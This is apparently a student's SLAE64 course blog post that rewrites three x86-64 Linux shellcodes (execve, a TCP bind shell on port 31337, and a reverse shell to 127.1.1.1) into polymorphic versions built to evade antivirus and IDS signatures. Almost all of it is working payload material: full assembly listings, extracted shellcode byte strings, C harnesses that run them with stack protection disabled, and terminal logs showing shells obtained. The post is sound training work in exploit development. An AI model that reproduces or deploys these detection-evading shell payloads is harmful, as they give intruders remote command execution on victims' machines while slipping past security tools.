Post

SLAE64 - Assignment #6 - Polymorphic Shellcodes

Introduction

This is the blog post for the 6th Assignment of the SLAE64 course, which is offered by PentesterAcademy. The course focuses on teaching the basics of 64-bit Assembly language for the Intel Architecture (IA-x86_64) family of processors on the Linux platform.

The purpose of this assignment is to take 3 shellcodes from Shell-Storm from the Intel x86-64 category and create polymorphic versions of them in order to beat pattern matching. Pattern matching means that a program (AV or IDS) has a database with signatures. A signature is bytes suite identifying a program. More information can be found at: Polymorphic Shellcode Engine, by Phrack. So, with polymorphism we preserve the functionality of the shellcode, by using equivalent instructions or garbage instructions that don’t change the functionality at all, like NOP.

The table below is used to navigate to each original and polymorphic shellcode and provides the size of the shellcode before and after the modifications.

Shellcode nameShellcode in Shell-StormOriginal SizePolymorphic Size
execveShell-Storm execve4135
tcpbindshellShell-Storm tcpbindshell150124
tcpreverseshellShell-Storm tcpreverseshell118109

My code can be found in my Github: geobour98’s Github.

execve

The original execve("/bin/sh", ["/bin/sh"], NULL) shellcode is the following:

1
\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05

The initial Assembly version (execve-original.nasm) would look like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
global _start
section .text

_start:

	xor rdx, rdx

	mov rbx, 0x68732f6e69622fff

	shr rbx, 0x8
	push rbx

	mov rdi, rsp

	xor rax, rax
	push rax

	push rdi

	mov rsi, rsp

	mov al, 0x3b
	syscall

	push 0x1
	pop rdi

	push 0x3c
	pop rax
	
	syscall

Briefly, 2 syscalls are executed, indicated by the 2 times of the instruction: syscall. The first syscall is execve and its number 59 is passed to RAX. The first argument in RDI is the string “/bin/sh\0”, the second argument in RSI is the pointer to the memory location of the string and the third argument in RDX is 0. The second syscall is exit and its number 60 is passed to RAX. Its only argument in RDI has the value 1 indicating that the program terminated unsuccessfully.

It should be noted that the author had declared the size of the shellcode as 33, but after compiling and running the shellcode tester C program (shellcode-original.c) the size was found to be 41 bytes. So, we stick to the 2nd value as the size.

shellcode-original.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h> 
#include <string.h> 

unsigned char code[] = \ 
"\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05";

main() 
{ 
	printf("Shellcode Length: %d\n", strlen(code)); 
	
	int (*ret)() = (int(*)())code; 
	
	ret(); 
}
1
2
3
4
5
6
7
8
geobour98@slae64-dev:~/SLAE/custom/SLAE64/6_Polymorphic/1_execve$ ./shellcode-original 
Shellcode Length: 41
$ id
uid=1000(geobour98) gid=1000(geobour98) groups=1000(geobour98),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$ ls
compile.sh  execve-original  execve-original.nasm  execve-original.o  shellcode-original  shellcode-original.c
$ exit
geobour98@slae64-dev:~/SLAE/custom/SLAE64/6_Polymorphic/1_execve$

The polymorphic version (execve.nasm) is the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
global _start
section .text

_start:

	xor rsi, rsi
	mul rsi		; clear rax and rdx

	mov rbx, 0x68732f6e69622fff

	shr rbx, 0x8	; "/bin/sh\0"
	push rbx

	mov rdi, rsp	; rdi points at the top of the stack, where is the string

	mov al, 0x3b	; 3b is the hex value of the decimal 59 for execve 
	syscall		; exec execve syscall

	xchg rdi, rax	; put reurn value in rdi

	push 0x3c
	pop rax		; 3c is the hex value of the decimal 60 for exit
	
	syscall		; exec exit syscall

The comments are self-explanatory for the functionality of this program, which is the same as the original.

Now the changes, that were made in the polymorphic version, are explained. The MUL instruction is used to clear the registers RAX and RDX. Also, RSI doesn’t have to point at the memory location of the string “/bin/sh\0”, so it has value 0. The only argument of exit syscall, which is the status, doesn’t necessarily have the value 1, but needs to have any value different from 0 in order to indicate unsuccessful termination. So, the XCHG instruction is used to put the return value of the execve inside RDI, which is not 0.

Testing the execve polymorphic shellcode

Now we need to compile execve.nasm with the bash script compile.sh and extract the shellcode from the generated executable with the objdump one-liner.

1
2
3
4
geobour98@slae64-dev:~/SLAE/custom/SLAE64/6_Polymorphic/1_execve$ ./compile.sh execve
[+] Assembling with Nasm ... 
[+] Linking ... 
[+] Done!
1
2
geobour98@slae64-dev:~/SLAE/custom/SLAE64/6_Polymorphic/1_execve$ objdump -d ./execve |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x48\x31\xf6\x48\xf7\xe6\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\xb0\x3b\x0f\x05\x48\x97\x6a\x3c\x58\x0f\x05"

After that, we modify the shellcode.c with the shellcode from objdump, which checks if a shellcode is working.

The whole C program is the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h> 
#include <string.h> 

unsigned char code[] = \ 
"\x48\x31\xf6\x48\xf7\xe6\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\xb0\x3b\x0f\x05\x48\x97\x6a\x3c\x58\x0f\x05";

main() 
{ 
	printf("Shellcode Length: %d\n", strlen(code)); 
	
	int (*ret)() = (int(*)())code; 
	
	ret(); 
}

Now we need to compile the C program, by disabling the stack protection as well as making the stack executable:

1
geobour98@slae64-dev:~/SLAE/custom/SLAE64/6_Polymorphic/1_execve$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

In order to verify that the payload is working we must execute shellcode.

1
2
3
4
5
6
7
8
9
geobour98@slae64-dev:~/SLAE/custom/SLAE64/6_Polymorphic/1_execve$ ./shellcode
Shellcode Length: 35
$ id
uid=1000(geobour98) gid=1000(geobour98) groups=1000(geobour98),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$ ls
compile.sh  execve-original	  execve-original.o  execve.o	shellcode-original    shellcode.c
execve	    execve-original.nasm  execve.nasm	     shellcode	shellcode-original.c
$ exit
geobour98@slae64-dev:~/SLAE/custom/SLAE64/6_Polymorphic/1_execve$

The shellcode is working, its size is 35 bytes and has been decreased by 6 bytes!

tcpbindshell

The original tcpbindshell shellcode is the following:

1
\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05

The initial Assembly version (tcpbindshell-original.nasm) is the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
global _start
section .text

_start:

	xor rax, rax
	xor rdi, rdi
	xor rsi, rsi
	xor rdx, rdx
	xor r8, r8

	push 0x2
	pop rdi

	push 0x1
	pop rsi

	push 0x6
	pop rdx

	push 0x29
	pop rax

	syscall

	mov r8, rax

	xor r10, r10
	push r10
	push r10

	mov byte [rsp], 0x2

	mov word [rsp + 0x2], 0x697a

	mov rsi, rsp

	push r8
	pop rdi

	push 0x10
	pop rdx

	push 0x31
	pop rax

	syscall

	push r8
	pop rdi

	push 0x1
	pop rsi

	push 0x32
	pop rax

	syscall

	mov rsi, rsp

	xor rcx, rcx
	mov cl, 0x10
	push rcx

	mov rdx, rsp

	push r8
	pop rdi

	push 0x2b
	pop rax

	syscall

	pop rcx

	xor r9, r9
	mov r9, rax

	mov rdi, r9

	xor rsi, rsi

	push 0x3
	pop rsi

doop:
	dec rsi

	push 0x21
	pop rax

	syscall

	jne doop

	xor rdi, rdi
	push rdi
	push rdi
	pop rsi
	pop rdx

	mov rdi, 0x68732f6e69622f2f

	shr rdi, 0x8
	push rdi
	push rsp
	pop rdi

	push 0x3b
	pop rax

	syscall

Briefly, the following syscalls are executed: socket, bind, listen, accept, dup2 and execve. The important things to note are: the listening port is 31337 and the original string in execve is “//bin/sh” that after the shifting becomes “/bin/sh\0”.

The polymorphic version (tcpbindshell.nasm) is the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
global _start
section .text

_start:
	; socket
	xor rdi, rdi
	xor rsi, rsi
	mul rsi		; clear rax and rdx

	add rdi, 0x2

	add rsi, 0x1

	add rdx, 0x6

	add rax, 0x29
	syscall		; exec socket syscall

	mov r8, rax	; return value

	; bind
	xor r10, r10
	push r10

	mov byte [rsp], 0x2

	mov word [rsp + 0x2], 0x697a	; port 31337

	mov rsi, rsp

	push r8
	pop rdi

	push 0x10
	pop rdx

	push 0x31
	pop rax

	syscall		; exec bind syscall

	; listen
	push r8
	pop rdi

	push 0x32
	pop rax

	syscall		; exec listen syscall

	; accept
	push r8
	pop rdi

	xor rsi, rsi
	mov rdx, rsi

	push 0x2b
	pop rax

	syscall		; exec accept syscall

	mov rdi, rax	; return value of accept

	; dup2
	push 0x3
	pop rsi

doop:
	dec rsi

	push 0x21
	pop rax

	syscall		; exec dup2 syscall

	jne doop

	; execve
	xor rsi, rsi
	push rsi

	mov rdi, 0x68732f6e69622f2f
	shr rdi, 0x8

	push rdi
	push rsp
	pop rdi

	push 0x3b
	pop rax

	syscall		; exec execve syscall

The comments are self-explanatory for the functionality of this program, which is the same as the original.

Now the changes, that were made in the polymorphic version, are explained. Basically, some instructions that were using the stack were modified to use registers and some unnecessary instructions were removed.

Testing the tcpbindshell polymorphic shellcode

Now we need to compile tcpbindshell.nasm with the bash script compile.sh and extract the shellcode from the generated executable with objdump one-liner.

1
2
3
4
geobour98@slae64-dev:~/SLAE/custom/SLAE64/6_Polymorphic/2_tcpbindshell$ ./compile.sh tcpbindshell
[+] Assembling with Nasm ... 
[+] Linking ... 
[+] Done!
1
2
geobour98@slae64-dev:~/SLAE/custom/SLAE64/6_Polymorphic/2_tcpbindshell$ objdump -d ./tcpbindshell |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x48\x31\xff\x48\x31\xf6\x48\xf7\xe6\x48\x83\xc7\x02\x48\x83\xc6\x01\x48\x83\xc2\x06\x48\x83\xc0\x29\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x32\x58\x0f\x05\x41\x50\x5f\x48\x31\xf6\x48\x89\xf2\x6a\x2b\x58\x0f\x05\x48\x89\xc7\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xf6\x56\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"

After that, we modify the shellcode.c with the shellcode from objdump.

The whole C program is the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h> 
#include <string.h> 

unsigned char code[] = \ 
"\x48\x31\xff\x48\x31\xf6\x48\xf7\xe6\x48\x83\xc7\x02\x48\x83\xc6\x01\x48\x83\xc2\x06\x48\x83\xc0\x29\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x32\x58\x0f\x05\x41\x50\x5f\x48\x31\xf6\x48\x89\xf2\x6a\x2b\x58\x0f\x05\x48\x89\xc7\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xf6\x56\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05";

main() 
{ 
	printf("Shellcode Length: %d\n", strlen(code)); 
	
	int (*ret)() = (int(*)())code; 
	
	ret(); 
}

Now we compile the C program.

1
geobour98@slae64-dev:~/SLAE/custom/SLAE64/6_Polymorphic/2_tcpbindshell$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

In order to verify that the payload is working we must execute shellcode and connect with nc on port 31337.

1st window:

1
2
3
geobour98@slae64-dev:~/SLAE/custom/SLAE64/6_Polymorphic/2_tcpbindshell$ ./shellcode
Shellcode Length: 124

2nd window:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
geobour98@slae64-dev:~$ nc localhost 31337
id
uid=1000(geobour98) gid=1000(geobour98) groups=1000(geobour98),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
ls
compile.sh
shellcode
shellcode-original
shellcode-original.c
shellcode.c
tcpbindshell
tcpbindshell-original
tcpbindshell-original.nasm
tcpbindshell-original.o
tcpbindshell.nasm
tcpbindshell.o
exit
geobour98@slae64-dev:~$

The shellcode is working, its size is 124 bytes and has been decreased by 26 bytes!

tcpreverseshell

The original tcpreverseshell shellcode is the following:

1
\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\xc7\x44\x24\x04\x7f\x01\x01\x01\x48\x89\xe6\x6a\x10\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05

The initial Assembly version (tcpreverseshell-original.nasm) is the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
global _start
section .text

_start:

	xor rax, rax
	xor rdi, rdi
	xor rsi, rsi
	xor rdx, rdx
	xor r8, r8

	push 0x2
	pop rdi

	push 0x1
	pop rsi
	
	push 0x6
	pop rdx

	push 0x29
	pop rax

	syscall

	mov r8, rax
	
	xor rsi, rsi
	xor r10, r10

	push r10
	
	mov byte [rsp], 0x2

	mov word [rsp + 0x2], 0x697a

	mov dword [rsp + 0x4], 0x0101017f

	mov rsi, rsp

	push 0x10
	pop rdx
	
	push r8
	pop rdi

	push 0x2a
	pop rax

	syscall

	xor rsi, rsi
	push 0x3
	pop rsi

doop:
	dec rsi

	push 0x21
	pop rax
	
	syscall

	jne doop

	xor rdi, rdi
	push rdi
	push rdi
	pop rsi
	pop rdx

	mov rdi, 0x68732f6e69622f2f

	shr rdi, 0x8

	push rdi
	push rsp
	pop rdi
	
	push 0x3b
	pop rax

	syscall

A change that was made to test the shellcode was the IP address to connect to. From 192.168.1.10 it became 127.1.1.1 and in little endian hexadecimal format: 0x0101017f.

Briefly, the following syscalls are executed: socket, connect, dup2 and execve. The important things to note are: the port to connect to is 31337 and the original string in execve is “//bin/sh” that after the shifting becomes “/bin/sh\0”.

The polymorphic version (tcpreverseshell.nasm) is the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
global _start
section .text

_start:
	; socket
	xor rdi, rdi
	xor rsi, rsi
	mul rsi		; clear rax and rdx

	add rdi, 0x2

	add rsi, 0x1
	
	add rdx, 0x6

	add rax, 0x29
	syscall		; exec socket syscall

	mov rdi, rax	; return value
	
	; connect
	xor rsi, rsi
	push rsi
	
	mov byte [rsp], 0x2

	mov word [rsp + 0x2], 0x697a		; port 31337

	mov dword [rsp + 0x4], 0x0101017f	; ip 127.1.1.1

	mov rsi, rsp

	push 0x10
	pop rdx
	
	push 0x2a
	pop rax

	syscall 	; exec connect syscall
	
	; dup2
	xor rsi, rsi
	push 0x3
	pop rsi

doop:
	dec rsi

	push 0x21
	pop rax
	
	syscall		; exec dup2 syscall

	jne doop

	; execve
	xor rdx, rdx
	xor rsi, rsi
	push rsi

	mov rdi, 0x68732f6e69622f2f
	shr rdi, 0x8

	push rdi
	push rsp
	pop rdi
	
	push 0x3b
	pop rax

	syscall		; exec execve syscall

The comments are self-explanatory for the functionality of this program, which is the same as the original.

Now the changes, that were made in the polymorphic version, are explained. Basically, some instructions that were using the stack were modified to use registers and some unnecessary instructions were removed.

Testing the tcpreverseshell polymorphic shellcode

Now we need to compile tcpreverseshell.nasm with the bash script compile.sh and extract the shellcode from the generated executable with objdump one-liner.

1
2
3
4
geobour98@slae64-dev:~/SLAE/custom/SLAE64/6_Polymorphic/3_tcpreverseshell$ ./compile.sh tcpreverseshell
[+] Assembling with Nasm ... 
[+] Linking ... 
[+] Done!
1
2
geobour98@slae64-dev:~/SLAE/custom/SLAE64/6_Polymorphic/3_tcpreverseshell$ objdump -d ./tcpreverseshell |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x48\x31\xff\x48\x31\xf6\x48\xf7\xe6\x48\x83\xc7\x02\x48\x83\xc6\x01\x48\x83\xc2\x06\x48\x83\xc0\x29\x0f\x05\x48\x89\xc7\x48\x31\xf6\x56\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\xc7\x44\x24\x04\x7f\x01\x01\x01\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xd2\x48\x31\xf6\x56\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"

After that, we modify the shellcode.c with the shellcode from objdump.

The whole C program is the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h> 
#include <string.h> 

unsigned char code[] = \ 
"\x48\x31\xff\x48\x31\xf6\x48\xf7\xe6\x48\x83\xc7\x02\x48\x83\xc6\x01\x48\x83\xc2\x06\x48\x83\xc0\x29\x0f\x05\x48\x89\xc7\x48\x31\xf6\x56\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\xc7\x44\x24\x04\x7f\x01\x01\x01\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xd2\x48\x31\xf6\x56\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05";

main() 
{ 
	printf("Shellcode Length: %d\n", strlen(code)); 
	
	int (*ret)() = (int(*)())code; 
	
	ret(); 
}

Now we compile the C program.

1
geobour98@slae64-dev:~/SLAE/custom/SLAE64/6_Polymorphic/3_tcpreverseshell$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

In order to verify that the payload is working we must create a listener with nc on port 31337 and execute shellcode to connect back there.

1st window:

1
2
3
geobour98@slae64-dev:~$ nc -lvnp 31337
Listening on [0.0.0.0] (family 0, port 31337)

2nd window:

1
2
3
geobour98@slae64-dev:~/SLAE/custom/SLAE64/6_Polymorphic/3_tcpreverseshell$ ./shellcode
Shellcode Length: 109

1st window again:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Connection from [127.0.0.1] port 31337 [tcp/*] accepted (family 2, sport 44436)
id
uid=1000(geobour98) gid=1000(geobour98) groups=1000(geobour98),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
ls
compile.sh
shellcode
shellcode-original
shellcode-original.c
shellcode.c
tcpreverseshell
tcpreverseshell-original
tcpreverseshell-original.nasm
tcpreverseshell-original.o
tcpreverseshell.nasm
tcpreverseshell.o
exit
geobour98@slae64-dev:~$ 

The shellcode is working, its size is 109 bytes and has been decreased by 9 bytes!

Summary

The polymorphic versions of the shellcodes: execve, tcpbindshell and tcpreverseshell are succesfully created and working as the original ones.

Next will be the custom crypter!

SLAE64 Blog Post

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

https://www.pentesteracademy.com/course?id=7

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: PA-36167

This post is licensed under CC BY 4.0 by the author.